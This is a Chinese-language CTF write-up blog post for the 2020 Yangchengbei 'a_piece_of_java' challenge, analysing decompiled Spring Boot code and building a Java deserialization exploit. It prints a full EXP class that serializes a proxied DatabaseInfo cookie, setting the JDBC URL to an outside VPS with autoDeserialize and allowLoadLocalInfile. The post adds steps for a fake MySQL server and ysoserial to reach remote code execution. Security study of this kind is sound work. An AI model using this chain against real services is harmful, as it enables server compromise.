[羊城杯 2020]a_piece_of_java

月更博主了真的最近在忙着做取证,你别说学了点java对java站上手就是快。废话了哈
看看题目微信图片_20250717215238

映入的是经典java index
就知道是springboot的东西了
依旧去找控制器也就是所谓的入口

package gdufs.challenge.web.controller;
  
  
import gdufs.challenge.web.model.Info;
  
import gdufs.challenge.web.model.UserInfo;
  
import java.io.ByteArrayInputStream;
  
import java.io.ByteArrayOutputStream;
  
import java.io.ObjectInputStream;
  
import java.io.ObjectOutputStream;
  
import java.util.Base64;
  
import javax.servlet.http.Cookie;
  
import javax.servlet.http.HttpServletResponse;
  
import org.nibblesec.tools.SerialKiller;
  
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
  
import org.springframework.stereotype.Controller;
  
import org.springframework.ui.Model;
  
import org.springframework.web.bind.annotation.CookieValue;
  
import org.springframework.web.bind.annotation.GetMapping;
  
import org.springframework.web.bind.annotation.PostMapping;
  
import org.springframework.web.bind.annotation.RequestParam;
  
  
@Controller
  
/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/controller/MainController.class */
  
public class MainController {
  
    @GetMapping({"/index"})
  
    public String index(@CookieValue(value = "data", required = false) String cookieData) {
  
        if (cookieData != null && !cookieData.equals("")) {
  
            return "redirect:/hello";
  
        }
  
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
  
    }
  
  
    @PostMapping({"/index"})
  
    public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
  
        UserInfo userinfo = new UserInfo();
  
        userinfo.setUsername(username);
  
        userinfo.setPassword(password);
  
        Cookie cookie = new Cookie("data", serialize(userinfo));
  
        cookie.setMaxAge(2592000);
  
        response.addCookie(cookie);
  
        return "redirect:/hello";
  
    }
  
  
    @GetMapping({"/hello"})
  
    public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
  
        if (cookieData == null || cookieData.equals("")) {
  
            return "redirect:/index";
  
        }
  
        Info info = (Info) deserialize(cookieData);
  
        if (info != null) {
  
            model.mo6463addAttribute("info", info.getAllInfo());
  
            return "hello";
  
        }
  
        return "hello";
  
    }
  
  
    private String serialize(Object obj) {
  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
  
        try {
  
            ObjectOutputStream oos = new ObjectOutputStream(baos);
  
            oos.writeObject(obj);
  
            oos.close();
  
            return new String(Base64.getEncoder().encode(baos.toByteArray()));
  
        } catch (Exception e) {
  
            e.printStackTrace();
  
            return null;
  
        }
  
    }
  
  
    private Object deserialize(String base64data) {
  
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
  
        try {
  
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
  
            Object obj = ois.readObject();
  
            ois.close();
  
            return obj;
  
        } catch (Exception e) {
  
            e.printStackTrace();
  
            return null;
  
        }
  
    }
  
}

看逻辑进index然后会去在request传入username和password后会形成一个cookie传入的是userinfo的序列化值
在hello路由会反序列化cookiedata
反序列化定义的时候加入了一个serialkiller.conf反序列化杀手是一个白名单

<?xml version="1.0" encoding="UTF-8"?>
  
<!-- serialkiller.conf -->
  
<config>
  
    <refresh>6000</refresh>
  
    <mode>
  
        <!-- set to 'false' for blocking mode -->
  
        <profiling>false</profiling>
  
    </mode>
  
    <blacklist>
  
  
    </blacklist>
  
    <whitelist>
  
        <regexp>gdufs\..*</regexp>
  
        <regexp>java\.lang\..*</regexp>
  
    </whitelist>
  
</config>

至允许反序列化gdufs下的类以及java.lang..*
那很坏了不过我们观察到

if (info != null) {
  
            model.mo6463addAttribute("info", info.getAllInfo());
  
            return "hello";
  
        }

这段代码一定会执行
去看看getallInfo()这个方法

package gdufs.challenge.web.model;
  
  
/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/model/Info.class */
  
public interface Info {
  
    Boolean checkAllInfo();
  
  
    String getAllInfo();
  
}

info是一个接口里面又这俩方法
然后分别是微信图片_20250717215243

databaseinfo和userinfo实现这个接口
userinfo没啥东西不过databaseinfo里有点东西

package gdufs.challenge.web.model;
  
  
import java.io.Serializable;
  
import java.sql.Connection;
  
import java.sql.DriverManager;
  
  
/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/model/DatabaseInfo.class */
  
public class DatabaseInfo implements Serializable, Info {
  
    private String host;
  
    private String port;
  
    private String username;
  
    private String password;
  
    private Connection connection;
  
  
    public void setHost(String host) {
  
        this.host = host;
  
    }
  
  
    public void setPort(String port) {
  
        this.port = port;
  
    }
  
  
    public void setUsername(String username) {
  
        this.username = username;
  
    }
  
  
    public void setPassword(String password) {
  
        this.password = password;
  
    }
  
  
    public String getHost() {
  
        return this.host;
  
    }
  
  
    public String getPort() {
  
        return this.port;
  
    }
  
  
    public String getUsername() {
  
        return this.username;
  
    }
  
  
    public String getPassword() {
  
        return this.password;
  
    }
  
  
    public Connection getConnection() {
  
        if (this.connection == null) {
  
            connect();
  
        }
  
        return this.connection;
  
    }
  
  
    private void connect() {
  
        String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
  
        try {
  
            this.connection = DriverManager.getConnection(url);
  
        } catch (Exception e) {
  
            e.printStackTrace();
  
        }
  
    }
  
  
    @Override // gdufs.challenge.web.model.Info
  
    public Boolean checkAllInfo() {
  
        if (this.host == null || this.port == null || this.username == null || this.password == null) {
  
            return false;
  
        }
  
        if (this.connection == null) {
  
            connect();
  
        }
  
        return true;
  
    }
  
  
    @Override // gdufs.challenge.web.model.Info
  
    public String getAllInfo() {
  
        return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
  
    }
  
}

可以看见这个connect方法是做了个jdbc连接mysql的操作而且没做过率是直接拼接起来的
能写就能伪造!

去看看jdbc(Java Database Connectivity)反序列化
是Java语言中用来规范客户端程序如何访问数据库的应用程序接口(API),它提供了一种标准的方法让Java程序与各种关系型数据库进行交互。
jdbc反序列化漏洞原理:

1.存在autodeserialize=true该参数会自动反序列化mysql服务器的二进制数据

2.可以控制输入参数,输入恶意的数据库地址,这个数据库可以是攻击者自己构造的,在jdbc查询的时候返回恶意的序列化数据,当jdbc客户端反序列化连接并执行查询时我们恶意的反序列化数据就可以可能导致 RCE(远程代码执行)
有思路打jdbc反序列化了看看哪里可以作为入口

package gdufs.challenge.web.invocation;
  
  
import gdufs.challenge.web.model.Info;
  
import java.io.Serializable;
  
import java.lang.reflect.InvocationHandler;
  
import java.lang.reflect.Method;
  
  
/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/invocation/InfoInvocationHandler.class */
  
public class InfoInvocationHandler implements InvocationHandler, Serializable {
  
    private Info info;
  
  
    public InfoInvocationHandler(Info info) {
  
        this.info = info;
  
    }
  
  
    @Override // java.lang.reflect.InvocationHandler
  
    public Object invoke(Object proxy, Method method, Object[] args) {
  
        try {
  
            if (method.getName().equals("getAllInfo") && !this.info.checkAllInfo().booleanValue()) {
  
                return null;
  
            }
  
            return method.invoke(this.info, args);
  
        } catch (Exception e) {
  
            e.printStackTrace();
  
            return null;
  
        }
  
    }
  
}

这个是Infoinvocationhandler 里面的invoke有执行代码的能力 很显然这是一个动态代理。
那么只要满足条件方法是getAllInfo 就会自动调用invoke再看invoke会执行method.invoke(this.info, args) info是一个对象有可能是databaseinfo也可能是userinfo 这段代码会自动执行对象里的方法包括
checkAllinfo 而databaseinfo的chechAllinfo又会调用connect那这不就串起来了吗。
hello路由解析cookie触发getAllinfo->infoinvocationhandler.invoke()->databaseinfo.checkAllinfo()->connect
然后去拼接password用来完成jdbc的反序列化漏洞
下面是如何具体实现。
先去vps下载一个fake_mysql_server还有ysoserial-0.0.6-SNAPSHOT-all.jar
煮包也是嫖别人的csdn会员才搞来的ysoserial自己配maven去搞环境一直有问题嘻嘻
重点是怎么写cookie

package gdufs.challenge.web.controller;  
  
import gdufs.challenge.web.invocation.InfoInvocationHandler;  
import gdufs.challenge.web.model.DatabaseInfo;  
import gdufs.challenge.web.model.Info;  
  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Proxy;  
import java.util.Base64;  
  
public class EXP {  
    public static void main(String[] args) throws IOException {  
        //设置好DatabaseInfo类的相关属性以实现jdbc反序列化  
        DatabaseInfo databaseInfo = new DatabaseInfo();  
        databaseInfo.setHost("62.234.8.59");  
        databaseInfo.setPort("1338");  
        databaseInfo.setUsername("echiar");  
        databaseInfo.setPassword("echair&allowLoadLocalInfile=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");  
  
        //将DataBaseInfo实例,封装进Proxy类 使用动态代理  
        ClassLoader classLoader = databaseInfo.getClass().getClassLoader();  
        Class[] interfaces = databaseInfo.getClass().getInterfaces();  
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);  
        Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);  
  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(proxy);  
        oos.flush();  
        oos.close();  
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));  
    }  
}

然后先编译
javac -cp "." gdufs/challenge/web/controller/EXP.java
再跑
java gdufs.challenge.web.controller.EXP
或者
java gdufs/challenge/web/controller/EXP.java
得到结果微信图片_20250717215249

然后去我们的vps上起一个fake_mysql
微信图片_20250717215818

去做一下配置文件然后去server.py改一下端口因为我的3306被占用了

微信图片_20250717215254
微信图片_20250717215258

至此艺术已成sm的校网弹不了shell哈哈哈

posted @ 2025-07-17 22:05  Echair  阅读(35)  评论(0)    收藏  举报